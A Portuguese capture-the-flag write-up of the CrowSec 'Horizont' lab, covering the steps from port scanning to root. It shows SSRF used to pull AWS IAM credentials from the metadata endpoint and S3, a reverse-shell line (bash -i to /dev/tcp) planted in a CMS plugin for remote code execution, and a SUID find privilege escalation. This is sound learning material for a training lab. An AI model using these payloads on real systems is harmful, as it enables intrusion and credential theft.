CrowSec — Horizont Write-up
Este é meu primeiro write-up, será sobre a "Horizont" Laboratório da crowsec desenvolvido pelo vert16x.
Resumindo nesse laboratório foi preciso aprender sobre: SSRF em ambiente de nuvem, plugins maliciosos em CMS e na escalação de privilégios do linux sobre SUID.
Parte 1: Varredura
Aqui começamos nossa verificação foi enviado pacotes icmp (pacote de ping) para saber se o host estava ativo, e o ttl com resposta de 63, pressupus que se tratava de um servidor linux.
O próximo passo vamos utilizar o nmap (um scanner de portas e serviços) para verificar quais portas e serviços estavam abertos e onde poderia ter uma possível vulnerabilidade nesse host.
nmap -A -T4 -P0 10.9.2.10
A função -A (modo agressivo), foi utilizado por se tratar de um laboratório de teste ela consegue trazer mais resultados da aplicação porem ela faz muito barulho, não serviria para pentest.
A função -T4 (aumenta os threads) isso faz com que aumente os processos ( por padrão o nmap usa o T3)
A função -P0 ela não envia pacote icmp, como já foi feito o ping não tem necessidades
e por último o ip do alvo.
A varredura inicial do nmap nos mostra que existem quatro serviços: FTP (22) rodando o (OpenSSH 7.6p1) , HTTP (80) e (8080) ambas rodando o (Apache 2.4.29), e uma porta alta aberta (26214) .
Feito o scan podemos verificar e confirmar que está rodando um servidor linux Ubuntu, como foi verificado pela resposta da ttl.
Parte 2: Enumeração
Na porta 80 estava rodando esse web site aparentemente em construção!
Na porta 8080 foi localizado esse outro web site porem com um painel de acesso.
Localizados que realmente nas portas 80 e 8080 estavam rodando servidores web, partimos para a parte de fuzzing.
Então partimos para a parte de fuzzing em busca de diretórios ou arquivos, que traga mais informações sobre as aplicações.
Começaremos pela porta 80
ffuf -w common.txt -u <http://10.9.2.10/FUZZ>
Na porta 80 não tivemos muitas informações relevantes.
Partimos para a porta 8080
Na porta 8080 conseguimos bastante informação, como admin com status code 302 de redirecionamento, área de pesquisa, plugins, blog e config.
Coletando essas informação vamos começar pela que trouxe menor informação (porta 80), iniciei fazendo um code review da aplicação.
Fazendo a leitura do código observei que tinha um (set url paramenter) para setar um parâmetro de url, isso já me trouxe uma luz para começar então iniciei o teste.
1. Passei a url do google.com para observar como a aplicação respondia.
Hmmm, aparentemente ela trouxe o código do google para dentro da aplicação isso e um comportamento bem interessante.
2. Comecei a testar SSRF na aplicação, primeiro tentei buscar arquivos para ver se conseguia um retorno.
Olha só, tenho acesso aos arquivos, algo bem interessante, não vamos parar pro ai vamos continuar testando.
3. Mantive os testes com SSRF comecei a testar portscan dentro da url, já que se eu passasse a url localhost ela me respondia mostrando as portas que estavam abertas, tentei o modo gopher para tentar injetar alguma querry no mysql, o qual mostrou que teria um user mysql, quando puxei o arquivo /etc/passwd, mas não obtive sucesso e fiquei algumas horas quebrando cabeça e encodando o gopher, até double enconde foi feito rs
4. Ai que veio a ideia de uma aula que tinha assistindo na crowsec sobre SSRF explorando os metadados da aws então vamos começar testando, qual e a resposta se for passado o ip (169.254.169.254) no parâmetro.
OLHA SÓ ALGUÉM ESQUECEU DE CONFIGURAR A NUVEM DIREITO! não é que deu um retorno bem interessante então vamos começar a explorar essa informação navegando pelas pastas. mas primeiro vamos para o modo view-source para ter uma melhor informação.
Bem melhor né?
Então vamos começar a navegar pelas pastas já que uma má configuração faz com que possamos navegar pelas pasta sem nenhuma restrição , então comecei a navegar pelas pastas latest/meta-data/iam/security-credentials até encontrar um arquivo interessante.
Aparentemente um arquivo de acesso ao s3, sera que ele contem credenciais do s3?
E não é que tinha mesmo?
Parte 3: Exploração
Com as credenciais em mãos, vamos começar a explorar o que podemos fazer com elas. Comecei fazendo o teste manual para ver se consigo acessar o s3 e seu conteúdo.
primeiro vamos começar a exportar as variáveis de ambiente com as credenciais. após as variáveis exportadas vamos começar a testar. utilizando o comando:
aws iam get-user
ele deu um erro de acesso negado, mas trouxe a ¨role¨ e a instancia da maquina que consegui a credencial, então deu certo o acesso. próximo passo e acessa e lista do s3 da minha maquina usando as chaves extraídas.
usando o comando:
aws s3 ls
esse comando lista todas as instancias, e logo de cara teve uma que me chamou a atenção (s3-ctf), vamos continuar buscando informação então.
Vamos listar o que essa s3-ctf contem nela usando o comando:
aws s3 ls s3-ctf
e olha só, o que encontramos, aparentemente um login de algum superadmin que deixou exposto o seu backup na aws.
Agora vamos passar esse arquivo para a nossa maquina, para verificar o seu conteúdo.
aws s3 ls s3://s3-ctf/superadmin_login_backup.txt nomedoarquivo
Feito a copia do arquivo do s3 para a sua maquina, vamos verificar qual é o seu conteúdo.
Verificando o conteúdo do arquivo estava salvo um tipo de criptografia base64, então vamos descriptografar essa informação que começou a ficar interessante.
Vamos utilizar o site base64 decode para descriptografar.
E olha só! um login superadmin com sua senha.
Nesse momento comecei a testar a senha via ssh, com os usuários que extrai lá no inicio via SSRF puxando o /etc/passwd, não obtive nenhum sucesso. Então parti para testar esse login e senha na aplicação que estava rodando na porta 8080 na qual no inicio da enumeração localizei um painel de login e também um diretório admin no qual estava com status code de redirecionamento.
Então vamos para o teste no painel.
XABLIMM! E não é que a senha deu certo e consegui acesso de administrador?
Na qual ainda tinha uma área admin, que maravilha.
Acessando essa área admin dei de cara com um CMS
Então comecei a pesquisar sobre vulnerabilidades, usando o nome do CMS e sua versão, aqui gastei um tempo estudando como a aplicação funcionava, naveguei pelas suas funcionalidades e verifiquei que tinha alguns tipos de subir arquivos para ele, então pensei que poderia encaixar bem um UNRESTRICTED FILE UPLOAD, então comecei a testar.
1.Tentei fazer uma injeção de xss, html injection e subir uma shell no modo de imagem em busca de um RCE no blog que localizei dentro do CMS
A imagem tinha um tipo de proteção que a tratava renomeando todos os arquivos que não tivessem o final .png e salvava, ela retornava um .json com o local onde o arquivo estaria salvo e seu nome. então verificando o arquivo
Ele estava lá porem não estava em php no qual queriamos para um RCE
2. Então tentei bypassar esse modo de verificação colocando um .php.png
é nada continuava tratando o arquivo
3. Então localizei uma parte de media e tentei subir a shell novamente que dessa vez utilizando outra forma
Infelizmente não foi tão simples assim, subi o arquivo ele foi tratado, porem nessa parte ele dava uma opção para renomear o arquivo então, novamente tentei um bypass tentando renomear para .php/ ou .php.png, mas ambas sem sucesso.
4. Passei para a proxima opção, plugins ou themes vulneraveis (sabemos que a maioria dos cms usam plugins para colocar novas funções e recursos e a maioria das vezes eles ficam desatualizados) e podendo alterar um plugin podemos ter uma possível chance de RCE. Então nessa parte voltei a pesquisar sobre o assunto e levei um tempo para ver como toda a aplicação funcionava. E depois de algum tempo felizmente encontrei um git no qual ensinavam a fazer plugins para o CMS.
E tinha um um plugin do GoogleMaps, então comecei a pesquisar sobre e ver como ele se comportava.
Apos algumas horas pesquisando e verificando com ele se comportava na aplicação, consegui descobrir códigos vulneráveis dentro do arquivo de plugin onde poderia introduzir código PHP malicioso e causar um RCE. aqui
Então após baixar o plugin, ele tem uma função de add location na qual ela executa um script php, que da um retorno na tela validando e avisando que a locação foi adicionada com sucesso.
Então vamos localizar esse script e modificá-lo. Buscando pelo arquivo ele se localizava na pasta GoogleMaps/resources/lang/en/messages.php e podemos confirmar que é um script php.
Uma breve leitura em seu codigo, podemos validar que ele é executado apos add uma location, com o retorno de location add successfully! então e aqui que vamos inserir nosso código malicioso.
Aqui inserimos nosso código malicioso
$shell = exec("/bin/bash -c 'bash -i >& /dev/tcp/aquiseuip/suaporta 0>&1'");
e chamamos a variável $shell, logo apos a solicitação do add location, como na imagem a cima.
Apos inserir o código compactamos o plugin novamente em .zip e subimos ele para o site, já que a aplicação nos permite subir um plugin.
Aqui fazemos o Upload
Instalamos
É ativamos
Apos Ativar ele ira aparecer no navbar da aplicação dessa forma:
Nesse momento, vamos subir o netcat para escutar a porta que você colocou lá em cima no php malicioso.
Após subir o netcat vamos voltar para o plugin. clicando no plugin na navbar da aplicação você ira para essa pagina.
Clicando em add location, você sera redirecionado para uma pagina, na qual iremos ativar nosso script com o código.
Preencha o campo com qualquer nome. e após você clicar em salvar. iremos ter acesso a nossa shell.
E aqui está ela. estamos com uma shell no servidor.
Parte 4: Pós exploração
Agora com a shell no servidor, vamos melhorar ela para ter uma shell interativa e ela não ficar quebrando durante as execuções dos códigos.
1. Para ter uma shell interativa primeiro precisamos verificar se no servidor possui python rodando na maquina.
whereis python
Aqui verificamos que tem um python3 rodando no servidor.
2. Próximo passo vamos importar e dar spawn no pty, usando o comando
python3 -c "import pty;pty.spawn('/bin/bash')"
3. Nesse momento vamos exportar o xterm, para poder dar clear no terminal.
export TERM=xterm
4. Agora temos que dar um cntrl + z, para suspender a shell
5. Após suspender digite o comando:
stty raw -echo;fg
6. Pressione enter e pronto. agora você tem uma shell interativa e ela não irá quebrar durante sua exploração.
Agora podemos seguir…
Agora após pegar a shell, e coloca-la interativa, vamos começar a buscar por informações ou senhas no servidor, que nos ajude a uma escalação de privilegio.
1. Busquei por arquivos dentro /var/www/html, aqui consegui localizar um arquivo database.php, tive acesso ao nome do user do banco de dados e sua senha (que estava sem senha rsxD).
2. Verifiquei os serviços rodando na maquina usando o netstat -anpt
3. Fui para a raiz da aplicação e lá consegui localizar a primeira flag.
4. Após localizar a primeira flag, procurei por recursos que me ajuda-se em uma escalação de privilégios.
find / -perm -4000 2>/dev/null
nesse momento acessei o site da GTFO e fui procurando um por um, até localizar um modo de subir o privilegio através do /usr/bin/find em SUID
executei o comando que eles indicaram.
/usr/bin/find . -exec /bin/sh -p \\; -quit
É VOALAAAA!
Estamos com o root e com a ultima flag, e aqui finalizamos a maquina.
No geral, Achei bem elaborado e me ajudou muito em conhecer novos modos de explorar. O único aborrecimento foi a dor de cabeça que me deu em relação ao plugin! Apesar de tudo, eu me diverti e aprendi muito, então foi bom para mim.
Quero agradecer ao kadu, pelos ensinamentos, pelo vert16x pela bela maquina que agregou bastante.